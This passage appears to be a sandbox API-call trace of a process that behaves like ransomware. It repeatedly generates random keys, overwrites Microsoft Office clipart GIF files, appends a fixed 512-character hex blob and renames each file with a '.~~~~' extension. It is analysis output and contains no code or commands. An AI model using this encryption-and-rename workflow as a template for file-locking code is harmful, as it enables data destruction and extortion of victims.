	[0121.067] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0121.067] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.067] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.067] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.067] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.067] CloseHandle (hObject=0x128) returned 1
	[0121.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5a60
	[0121.067] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143745.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143745.gif.~~~~")) returned 1
	[0121.069] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5a60 | out: hHeap=0x300000) returned 1
	[0121.069] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0121.069] GetLastError () returned 0x0
	[0121.069] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0121.070] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.070] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.070] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.070] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0121.070] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0121.070] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24106048237) returned 1
	[0121.070] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb1a293f0, dwHighDateTime=0x1d60e1e)) 
	[0121.070] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0121.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0121.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0121.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9b08
	[0121.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.071] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9b08 | out: hHeap=0x300000) returned 1
	[0121.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.071] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0121.071] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0121.071] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.071] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0121.071] GetLastError () returned 0x0
	[0121.072] GetLastError () returned 0x0
	[0121.072] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0121.072] GetLastError () returned 0x0
	[0121.072] GetLastError () returned 0x0
	[0121.182] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffdf12, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.183] WriteFile (in: hFile=0x128, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x20ee, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x20ee, lpOverlapped=0x0) returned 1
	[0121.184] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0121.185] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.185] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.185] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.185] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.185] CloseHandle (hObject=0x128) returned 1
	[0121.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6ff0
	[0121.185] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00673l.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB00673L.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb00673l.gif.~~~~")) returned 1
	[0121.187] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6ff0 | out: hHeap=0x300000) returned 1
	[0121.187] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0121.187] GetLastError () returned 0x0
	[0121.187] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0121.188] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.188] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.188] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.188] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0121.188] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0121.188] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24117854459) returned 1
	[0121.188] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb1b33d90, dwHighDateTime=0x1d60e1e)) 
	[0121.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0121.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0121.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0121.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9be8
	[0121.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.189] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9be8 | out: hHeap=0x300000) returned 1
	[0121.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.189] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0121.189] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0121.189] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.189] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0121.189] GetLastError () returned 0x0
	[0121.190] GetLastError () returned 0x0
	[0121.190] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0121.190] GetLastError () returned 0x0
	[0121.190] GetLastError () returned 0x0
	[0121.201] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff1e3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.201] WriteFile (in: hFile=0x128, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0xe1d, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0xe1d, lpOverlapped=0x0) returned 1
	[0121.202] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0121.205] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.205] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.205] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.205] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.205] CloseHandle (hObject=0x128) returned 1
	[0121.206] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6ff0
	[0121.206] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb01741l.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB01741L.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb01741l.gif.~~~~")) returned 1
	[0121.208] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6ff0 | out: hHeap=0x300000) returned 1
	[0121.208] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0121.208] GetLastError () returned 0x0
	[0121.211] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0121.212] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.212] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.212] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0121.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0121.212] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24120200890) returned 1
	[0121.212] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb1b80050, dwHighDateTime=0x1d60e1e)) 
	[0121.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0121.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0121.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0121.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9c58
	[0121.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.212] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9c58 | out: hHeap=0x300000) returned 1
	[0121.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.212] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0121.212] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0121.213] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.213] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0121.213] GetLastError () returned 0x0
	[0121.213] GetLastError () returned 0x0
	[0121.213] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0121.213] GetLastError () returned 0x0
	[0121.213] GetLastError () returned 0x0
	[0121.216] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff679, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.216] WriteFile (in: hFile=0x128, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x987, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x987, lpOverlapped=0x0) returned 1
	[0121.219] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0121.219] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.219] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.219] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.219] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.219] CloseHandle (hObject=0x128) returned 1
	[0121.220] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6dc8
	[0121.220] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02055_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02055_.gif.~~~~")) returned 1
	[0121.221] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6dc8 | out: hHeap=0x300000) returned 1
	[0121.221] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0121.222] GetLastError () returned 0x0
	[0121.222] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0121.223] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.223] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.223] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0121.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0121.223] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24121353925) returned 1
	[0121.224] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb1ba61b0, dwHighDateTime=0x1d60e1e)) 
	[0121.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0121.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0121.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0121.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca78
	[0121.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.224] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca78 | out: hHeap=0x300000) returned 1
	[0121.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.224] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0121.224] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0121.224] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.224] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0121.224] GetLastError () returned 0x0
	[0121.225] GetLastError () returned 0x0
	[0121.225] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0121.225] GetLastError () returned 0x0
	[0121.225] GetLastError () returned 0x0
	[0121.370] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffffc83, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.370] WriteFile (in: hFile=0x128, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x37d, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x37d, lpOverlapped=0x0) returned 1
	[0121.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0121.372] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.372] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.372] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.373] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.373] CloseHandle (hObject=0x128) returned 1
	[0121.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6750
	[0121.373] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02073_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02073_.gif.~~~~")) returned 1
	[0121.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6750 | out: hHeap=0x300000) returned 1
	[0121.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0121.375] GetLastError () returned 0x0
	[0121.479] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0121.501] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.501] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.501] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0121.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0121.501] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24149145582) returned 1
	[0121.501] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb1e53a70, dwHighDateTime=0x1d60e1e)) 
	[0121.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0121.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0121.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0121.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39cbd8
	[0121.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cbd8 | out: hHeap=0x300000) returned 1
	[0121.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0121.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.502] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0121.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.502] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0121.502] GetLastError () returned 0x0
	[0121.502] GetLastError () returned 0x0
	[0121.503] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0121.503] GetLastError () returned 0x0
	[0121.503] GetLastError () returned 0x0
